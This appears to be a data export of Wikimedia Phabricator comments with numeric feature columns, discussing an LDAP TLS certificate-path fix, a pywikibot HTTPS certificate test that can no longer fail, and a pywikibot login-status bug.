468951,LDAP TLS failing on some instances due to inconsistent state,"I bet we can cut to the chase and just sed ""GlobalSign_CA.pem"" to ""ca-certificates.crt"" in ldap.conf",,,1433423021,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.8,"I bet we can cut to the chase and just sed ""GlobalSign_CA.pem"" to ""ca-certificates.crt"" in ldap.conf"
468949,LDAP TLS failing on some instances due to inconsistent state,Or we dcould just sed ldap.conf and be ok.,,,1433422996,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Or we dcould just sed ldap.conf and be ok.
468915,LDAP TLS failing on some instances due to inconsistent state,"So `ln -s /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/GlobalSign_CA.pem` consistently fixes the problem, and then forcing a puppet run gives
```--- /etc/ldap/ldap.conf	2015-06-03 22:04:33.320252202 +0000
+++ /tmp/puppet-file20150604-15144-kkai07-0	2015-06-04 11:42:04.138394104 +0000
@@ -6,6 +6,6 @@
 TLS_CHECKPEER   yes
 TLS_REQCERT     demand
 TLS_CACERTDIR   /etc/ssl/certs
-TLS_CACERTFILE  /etc/ssl/certs/GlobalSign_CA.pem
-TLS_CACERT      /etc/ssl/certs/GlobalSign_CA.pem
+TLS_CACERTFILE  /etc/ssl/certs/ca-certificates.crt
+TLS_CACERT      /etc/ssl/certs/ca-certificates.crt
 SUDOERS_BASE    ou=sudoers,cn=marathon,ou=projects,dc=wikimedia,dc=org
```

So one way to fix this is perhaps to use salt to 

# do symlink
# force puppet run
# unsymlink",,,1433418196,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3333333333333335,0.6888888888888889,"So CODE consistently fixes the problem, and then forcing a puppet run gives
``CODE``

So one way to fix this is perhaps to use salt to 

# do symlink
# force puppet run
# unsymlink"
468913,LDAP TLS failing on some instances due to inconsistent state,https://phabricator.wikimedia.org/P727 about 44 hosts encountering this problem.,,,1433417899,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.875,1.0,URL about 44 hosts encountering this problem.
468840,LDAP TLS failing on some instances due to inconsistent state,"The problem was that they were trying to use an outdated certificate that wasn't valid anymore (https://gerrit.wikimedia.org/r/#/c/215800/) and when this happened on the puppetmaster puppet started failing and wouldn't apply the patch linked above that would've fixed it. I symlinked the old and new certfile names, and ran puppet - that fixed everything and put things as they should be.

Now this could possibly also be happening in other project hosted puppetmaster - broken ldap prevents puppet causes ldap to remain broken. Should investigate.",,,1433412725,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kpajlfuxdu2t5diyrum,task_subcomment,,True,c3,1,True,,,-4,True,0.0,1.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,9.0,6.0,1.0,2.0,2.0,0.0,0.0,9.0,1.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,14.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,5.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,3.0,2.0,0.0,0.0,4.531914893617022,0.723404255319149,"The problem was that they were trying to use an outdated certificate that wasn't valid anymore (URL and when this happened on the puppetmaster puppet started failing and wouldn't apply the patch linked above that would've fixed it. I symlinked the old and new certfile names, and ran puppet - that fixed everything and put things as they should be.

Now this could possibly also be happening in other project hosted puppetmaster - broken ldap prevents puppet causes ldap to remain broken. Should investigate."
101138,Certificate test can't fail as the certificate is valid,"The `tests.http_tests.HttpsCertificateTestCase.test_https_ignore_cert_error` can't fail anymore because the website tested is using a valid certificate: https://www.ssllabs.com/ssltest/analyze.html?d=en.vikidia.org

With the requests change in T98439 it might be that we don't support connections to invalid certificates anymore.",High,80.0,1433268351,1440059361.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-3khrnogpnnvtqlexyjdl,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,5.0,5.0,3.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,13.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.526315789473684,0.9210526315789473,"The CODE can't fail anymore because the website tested is using a valid certificate: URL

With the requests change in T98439 it might be that we don't support connections to invalid certificates anymore."
511216,Certificate test can't fail as the certificate is valid,"Change 215507 merged by jenkins-bot:
[FIX] http: Disable certificate validation

[[https://gerrit.wikimedia.org/r/215507]]",,,1440021934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.782608695652174,0.782608695652174,"Change 215507 merged by jenkins-bot:
[FIX] http: Disable certificate validation

[[GERRIT_URL]]"
500841,Certificate test can't fail as the certificate is valid,"We also have a test for invalid certificate, test_https_cert_error, which works well, using the still invalid cert for https://www.omegawiki.org/.

The purpose of test_https_ignore_cert_error and test_https_cert_invalid was that pywikibot's threading for httplib2 failed to raise the exception on the second request to the same host, as the connection was cached.

However now we are not using `httplib2` threading, we may be able to retest with https://www.omegawiki.org/ .  But the approach of https://gerrit.wikimedia.org/r/#/c/215507/ , testing with a dummy certificate, would be better.",,,1438510753,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,1.0,1.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,9.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,13.0,2.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,3.0,1.0,0.0,0.0,4.586956521739131,0.6739130434782609,"We also have a test for invalid certificate, test_https_cert_error, which works well, using the still invalid cert for URL

The purpose of test_https_ignore_cert_error and test_https_cert_invalid was that pywikibot's threading for httplib2 failed to raise the exception on the second request to the same host, as the connection was cached.

However now we are not using CODE threading, we may be able to retest with URL .  But the approach of URL , testing with a dummy certificate, would be better."
490842,Certificate test can't fail as the certificate is valid,"We also have a test for invalid certificate, test_https_cert_error, which works well, using the still invalid cert for https://www.omegawiki.org/.

The purpose of test_https_ignore_cert_error and test_https_cert_invalid was that pywikibot's threading for httplib2 failed to raise the exception on the second request to the same host, as the connection was cached.

However now we are not using httplib threading, we may be able to retest with https://www.omegawiki.org/ .  But the approach of https://gerrit.wikimedia.org/r/#/c/215507/ , testing with a dummy certificate, would be better.",,,1436796691,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,1.0,1.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,8.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,3.0,1.0,0.0,0.0,4.619565217391305,0.6739130434782609,"We also have a test for invalid certificate, test_https_cert_error, which works well, using the still invalid cert for URL

The purpose of test_https_ignore_cert_error and test_https_cert_invalid was that pywikibot's threading for httplib2 failed to raise the exception on the second request to the same host, as the connection was cached.

However now we are not using httplib threading, we may be able to retest with URL .  But the approach of URL , testing with a dummy certificate, would be better."
467835,Certificate test can't fail as the certificate is valid,"Change 215507 had a related patch set uploaded (by XZise):
[FIX] http: Disable certificate validation

[[https://gerrit.wikimedia.org/r/215507]]
",,,1433277921,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,3.75,0.8214285714285714,"Change 215507 had a related patch set uploaded (by XZise):
[FIX] http: Disable certificate validation

[[GERRIT_URL]]
"
467692,Certificate test can't fail as the certificate is valid,The easiest way to force an invalid cert error is by passing an empty cert bundle (which would make every site show up as having an invalid certificate).,,,1433268501,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-3khrnogpnnvtqlexyjdl,task_subcomment,,True,c3,1,True,,,-5,True,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,6.0,0.0,3.0,0.0,4.064516129032258,0.8709677419354839,The easiest way to force an invalid cert error is by passing an empty cert bundle (which would make every site show up as having an invalid certificate).
100965,automatic login to private wiki raises APIError on the second failed login,"If an automatic login to a private (read denied) is attempted twice, the first action will raise NoUsername, but the second login will raise APIError.",High,80.0,1433138937,1589209181.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-p2ebbrj45wupyi25othr,False,PHID-TASK-kbebds5pefc7j3cqlqxz,task_description,invalid,True,c3,1,True,False,False,-5,True,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,10.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.2,0.8333333333333334,"If an automatic login to a private (read denied) is attempted twice, the first action will raise NoUsername, but the second login will raise APIError."
1511074,automatic login to private wiki raises APIError on the second failed login,"Change 215000 abandoned by Xqt:
[FIX] APISite: Reset loginstatus

Reason:
already solved

[[https://gerrit.wikimedia.org/r/215000]]",,,1590494747,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,255,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.6923076923076925,0.6923076923076923,"Change 215000 abandoned by Xqt:
[FIX] APISite: Reset loginstatus

Reason:
already solved

[[GERRIT_URL]]"
1501082,automatic login to private wiki raises APIError on the second failed login,"Change 143038 abandoned by Xqt:
site._loginstatus - login process and caching

Reason:
very outdated

[[https://gerrit.wikimedia.org/r/143038]]",,,1589211308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.24,0.8,"Change 143038 abandoned by Xqt:
site._loginstatus - login process and caching

Reason:
very outdated

[[GERRIT_URL]]"
1501084,automatic login to private wiki raises APIError on the second failed login,"I can see only a little sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically so it would be hard to recognize the newly occuring issue is a dupe of this one.",,,1589211352,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,11.0,11.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,5.0,3.0,5.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,0.0,4.076923076923077,0.8461538461538461,"I can see only a little sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically so it would be hard to recognize the newly occuring issue is a dupe of this one."
1501079,automatic login to private wiki raises APIError on the second failed login,"I can see no sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically so it would be hard to recognize the newly occuring issue is a dupe of this one.",,,1589211071,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,11.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,5.0,3.0,5.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,4.063492063492063,0.8571428571428571,"I can see no sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically so it would be hard to recognize the newly occuring issue is a dupe of this one."
1501078,automatic login to private wiki raises APIError on the second failed login,"I can see no sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically.",,,1589211047,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,False,,,253,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,7.0,2.0,7.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.195652173913044,0.8695652173913043,"I can see no sysopnames connection here or in the patch. The whole point is resetting the login status on failure, which is a clever idea. But anyway issues like these are still present, but the output changed since then drastically."
1501048,automatic login to private wiki raises APIError on the second failed login,"Judging by the associated patch, this was related to the ""sysopnames"" feature of bot logins, which we have since deprecated and removed (see T71283). I am going to mark it as Invalid given how much the code has moved forward since this task was created. Can always be reopened if the issue still matters.",,,1589209181,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,3,True,,,253,True,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,2.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,6.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.984126984126984,0.8253968253968254,"Judging by the associated patch, this was related to the ""sysopnames"" feature of bot logins, which we have since deprecated and removed (see T71283). I am going to mark it as Invalid given how much the code has moved forward since this task was created. Can always be reopened if the issue still matters."
467358,automatic login to private wiki raises APIError on the second failed login,"Change 143038 had a related patch set uploaded (by John Vandenberg):
site._loginstatus - login process and caching

[[https://gerrit.wikimedia.org/r/143038]]
",,,1433243718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.296296296296297,0.8888888888888888,"Change 143038 had a related patch set uploaded (by John Vandenberg):
site._loginstatus - login process and caching

[[GERRIT_URL]]
"
466623,automatic login to private wiki raises APIError on the second failed login,"Change 215000 had a related patch set uploaded (by XZise):
[FIX] APISite: Reset loginstatus

[[https://gerrit.wikimedia.org/r/215000]]
",,,1433155482,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,3.5555555555555554,0.8148148148148148,"Change 215000 had a related patch set uploaded (by XZise):
[FIX] APISite: Reset loginstatus

[[GERRIT_URL]]
"
466619,automatic login to private wiki raises APIError on the second failed login,Ah the site's `_loginstatus` is -2 (`IN_PROGRESS`). Seems like the status is not properly changed.,,,1433154699,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.8,Ah the site's CODE is -2 (CODE). Seems like the status is not properly changed.
466618,automatic login to private wiki raises APIError on the second failed login,Ah the site's `_loginstatus` is -2 (`IN_PROGRESS`). Seems like the status is not properly changed,,,1433154690,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-kbebds5pefc7j3cqlqxz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3684210526315788,0.8421052631578947,Ah the site's CODE is -2 (CODE). Seems like the status is not properly changed
